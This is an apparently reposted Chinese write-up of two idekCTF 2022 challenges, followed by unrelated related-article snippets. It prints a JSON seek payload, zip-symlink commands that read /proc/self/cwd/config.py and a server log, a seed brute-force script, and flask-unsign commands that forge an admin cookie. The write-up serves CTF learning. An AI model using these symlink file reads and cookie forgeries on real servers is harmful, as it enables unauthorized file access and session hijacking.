idekCTF 2022 比赛复现

news2024/10/2 16:27:13

Readme

首先 []byte 是 go 语言里面的一个索引,比如:

package main

import "fmt"

func main() {
	var str string = "hello"
	var randomData []byte = []byte(str)
	fmt.Println(randomData[0:])	//[104 101 108 108 111]
}

上面这串代码会从下标从 0 开始一直到最后的字符串转换为十进制数输出。

我们看一下源码,开头的几段告诉我们设置了一个哈希密码,然后把这个密码复制到 randomData 数组的 12625 位置后面。

在这里插入图片描述
接着设置了一个结构体,json 形式,属性名 是 Orders,Orders 是一个整数数组,从 randomData 中提取指定数量的数据,按顺序检索完成后,检索32个字节,如果与密码哈希匹配,则会得到一个标志,也就是说,如果能够按顺序提取12625 字节就好了,但由于数量限制(最大 10),这是不可能的。

在这里插入图片描述
在这里插入图片描述
这边有位大佬说:

由于 randomData 有一个固定的种子,所以总是出现相同的字节串来检查缓冲区的查找进度。
{“orders”:[100,1]}如果你这样尝试,101 字节的寻道应该前进,但它前进了 4097 字节。(不知道为啥)


{“orders”:[100,100,1]} 然后前进8193字节。 所以如果指定 100,可以前进 4096 个字节。 我们要前进
12625 个字节,所以 4096 3=12288 还剩 337 个字节。99 3=297 还剩下 40 个字节。

最后就是:

{"orders":[100,100,100,99,99,99,40]}

在这里插入图片描述

SimpleFileServer

知识点:软连接(symlink),伪目录(proc),cookie 伪造,时间戳(时区不同)

下载源码,审计后可以发现重要的就是几个地方。

flag 需要 admin 权限。

在这里插入图片描述

我们可以伪造 admin 的 cookie 来登录获取 flag,在 app.py 中可以看到密钥在环境变量里面。

在这里插入图片描述

在 config.py 中可以看出密钥的生成,它还提示我们 SECRET_OFFSET 是编辑后的,那么我们还要找一下真正的 config.py。

在这里插入图片描述

在 app.py 中可以发现它接收一个压缩包并直接解压,没有任何处理,那么我们是不是可以通过软连接的形式来读取文件,那么目录是什么呢?可以通过 /proc(虚拟文件系统)来读取真正的 config.py。

在这里插入图片描述

两条命令,然后把生成的 zip 上传上去并且访问 /uploads/ID/succ 就可以得到真正的文件了。

ln -s /proc/self/cwd/config.py succ
zip --symlinks succ.zip succ

在这里插入图片描述

但密钥的构造里面还有一个未知的就是服务其的启动时间,这个我们可以读日志,Dockerfile 里面也告诉了我们日志的位置。

在这里插入图片描述

同样的两条命令。

ln -s /tmp/server.log succ
zip --symlinks succ.zip succ

得到时间,我们在把它转换成时间戳的格式,但是这边有个坑,这是英国的时间,不是中国的所以要在其基础上加八个小时,最后再转换成时间戳。
在这里插入图片描述

如下:

在这里插入图片描述
前后 1 秒钟之间的所有时间戳列出来,拿我们注册的 cookie 验证一个哪个正确。

import random
import os
import time

for d in range(-1000,1000):
    random.seed((1673910802 - 67198624) *1000 + d)
    print("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))
flask-unsign -c "eyJhZG1pbiI6ZmFsc2UsInVpZCI6InN1Y2MifQ.Y8YgQg.ylUP0n8MGFt8TSh3pOYGw6cDRIE" --unsign --wordlist test.txt --no-literal-eval

在这里插入图片描述

得到 key 我们就可以伪造 admin 了。

flask-unsign --sign --secret 074cce10940b886e3089f27a878577cd --cookie "{'admin': True, 'uid': 'succ'}" 

在这里插入图片描述

最后拿上伪造的 cookie 访问 flag 就可以了。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/337835.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java程序运行机制

Java语言既具有编译型语言的特征,又具有解释型语言的特征,Java程序要经过先编译后解释两个阶段。高级语言的运行机制📍编译型语言使用专门的编译器,针对特定的平台(移植性差),将高级语言的源代码…

情人节有哪些数码好物值得送礼?情人节实用性强的数码好物推荐

转瞬间,情人节快到了,大家还在为送什么礼物而烦恼?在这个以科技为主的时代,人们正在享受着科技带来的便利,其中,数码产品也成为了日常生活中必不可少的存在。接下来,我来给大家推荐几款比较实用…

大数据框架之Hadoop:入门(四)Hadoop运行模式

Hadoop运行模式包括:本地模式、伪分布式模式以及完全分布式模式。 Hadoop官方网站:http://hadoop.apache.org/ 4.1本地运行模式 4.1.1官方Grep案例 1.创建在hadoop文件夹下面创建一个input文件夹 [roothdp101 hadoop]# mkdir input2.将Hadoop的xml配…

SpringBoot整合Druid数据源(实行监控功能)

在上篇文章中分析了数据连接池(Durid)在应用中可以做到资源重用,提升系统响应速度,避免数据库连接遗漏。它除了是一个高性能数据库连接池之外,更是一个自带监控的数据库连接池 JDDC与Druid 1Druid是什么 Apache Drui…

tui-swipe-action组件上的按钮点击后有阴影的解决方法

大家好,我是雄雄,欢迎关注微信公众号:雄雄的小课堂。 目录 前言问题描述问题解决前言 一直未敢涉足电商领域,总觉得这里面的道道很多,又是支付、又是物流的,还涉及到金钱,所以我们所做的项目,一直都是XXXX管理系统,XXX考核系统,移动端的也是,XX健康管理平台…… 但…

SLAM中坐标轴旋转及ros的接口解释

读完几个loam算法,满篇的坐标轴旋转,还是手写的(作者,用eigen写不好嘛。。。),我滴天适应了好久…,今天就总结一下坐标轴旋转问题。 一、首先,我们看一下ros中关于欧拉角旋转的函数:setRPY、set…

C++展开模板参数包、函数参数包-(lambda+折叠表达式)

开门见山 以下代码可展开模板参数包和展开函数参数包。 // lambda折叠表达式(需C17) #include <iostream> using namespace std;// 1.展开模板参数包 template<typename ...T> void Func1() {([]() {cout << typeid(T).name() << endl;}(), ...);// …

姿态估计端到端新方案 | DirectMHP:用于全范围角度2D多人头部姿势估计

前言 现有的头部姿势估计主要集中在具有预先检测到的正面头部的单个人&#xff0c;这依赖于单独训练的面部检测器&#xff0c;不能很好地泛化到完整的视点。在本文中&#xff0c;作者关注全范围 MPHPE 问题&#xff0c;并提出了一个名为 DirectMHP 的直接端到端简单基线&#x…

怎么给笔记本电脑外接两台显示器?

我们在办公室会看见不少同事的电脑不止一台显示器&#xff0c;多屏确实可以提高工作效率。有的游戏党也会选择给电脑外接显示器&#xff0c;带来绝佳的体验。 不过要怎么把将外部显示器连接到笔记本电脑上&#xff1f;驱动人生在这里教给大家给笔记本外接显示器的做法。 一、…

TensorFlow CNN 卷积神经网络实现人脸性别检测 完整教程 附完整代码

本文主要是实现了根据人脸识别性别的卷积神经网络,并对卷积过程中的提取特征进行了可视化.

HydroD 实用教程(二)有限元模型

目 录一、前言二、模型种类三、单元类型四、FEM文件五、参考文献一、前言 SESAM &#xff08;Super Element Structure Analysis Module&#xff09;是由挪威船级社&#xff08;DNV-GL&#xff09;开发的一款有限元分析&#xff08;FEA&#xff09;系统&#xff0c;它以 GeniE、…

【Linux command 09】tcpdump 命令

tcp一款sniffer工具&#xff0c;是Linux上的抓包工具&#xff0c;嗅探器语法tcpdump (选项)选项-c&#xff1a; 指定要抓取的包数量。注意&#xff0c;是最终要获取这么多个包。例如&#xff0c;指定"-c 10"将获取10个包&#xff0c;但可能已经处理了100个包&#xf…

激光slam学习笔记2--激光点云数据结构特点可视化查看

背景&#xff1a;不同厂商的激光点云结果存在一定差异&#xff0c;比如有些只有xyz&#xff0c;有些包含其他&#xff0c;如反光率、时间戳、ring等。如何快速判断是个值得学习的点 概要&#xff1a;对于rosbag类型的激光点云&#xff0c;介绍使用rviz快速查看点云结构特点 如…

JavaWeb--MySQL高级

MySQL高级1 约束1.1 概念1.2 分类1.3 非空约束1.4 唯一约束1.5 主键约束1.6 默认约束1.7 检查约束1.8 外键约束1.8.1 概述1.8.2 语法2 数据库设计2.1 数据库设计简介2.2 表关系(一对多)2.3 表关系(多对多)2.4 表关系(一对一)3 多表查询3.1 内连接查询3.2 外连接查询3.3 子查询3…

技能树基础——17四平方和(拉格朗日定理,嵌套循环)

题目&#xff1a;四平方和定理&#xff0c;又称为拉格朗日定理&#xff1a;每个正整数都可以表示为至多4个正整数的平方和。如果把0包括进去&#xff0c;就正好可以表示为4个数的平方和。比如&#xff1a;5 0^ 2 0^ 2 1^ 2 2^27 1^ 2 1^ 2 1^ 2 2^2 &#xff08;^符号表…

微服务项目【服务调用分布式session共享】

nginx动静分离 第1步&#xff1a;通过SwitchHosts新增二级域名&#xff1a;images.zmall.com 第2步&#xff1a;将本次项目的所有静态资源js/css/images复制到nginx中的html目录下 第3步&#xff1a;在nginx的核心配置文件nginx.conf中新增二级域名images.zmall.com访问映射…

h2database源码解析-表和索引

目录表索引MVPrimaryIndexMVDelegateIndexMVSecondaryIndex索引更新表 h2使用类MVTable表示数据库表&#xff0c;h2的表数据是基于主键排列的&#xff0c;这种表也叫做主键索引表。这也就意味着表必须有主键&#xff0c;如果没有主键&#xff0c;h2会自动生成一个主键_ROWID_&…

在Linux和Windows上编译datax-web-ui源码

记录&#xff1a;375场景&#xff1a;在CentOS 7.9操作系统上&#xff0c;使用apache-maven-3.8.7安装编译datax-web-ui源码。在Windows上操作系统上&#xff0c;使用apache-maven-3.8.7编译datax-web-ui源码。版本&#xff1a;JDK 1.8 node-v14.17.3 npm-6.14.13datax-web-ui开…

江苏五年制专转本应该复习几轮?

五年制专转本应该复习几轮&#xff1f; 据调查统计&#xff1a;2022年专转本17%的考生复习三轮及以上&#xff0c;23%的考生复习了两轮。这两类的考生录取率高至85%。可见复习轮数多&#xff0c;专转本上岸的概率也大。综合多方因素&#xff0c;建议同学们专转本复习四轮&#…

pointpillars Paper学习总结

Pointpillar Paper PointPillars提出了一种新的点云编码方式和3D转2D的方法&#xff0c;用2D卷积的方式实现目标检测而没有采用耗时的3D卷积&#xff0c;在速度和精度上达到了很好的平衡&#xff0c;其速度快、精度高、易于部署的特点使得其在工业界得到了广泛的应用。 处理思…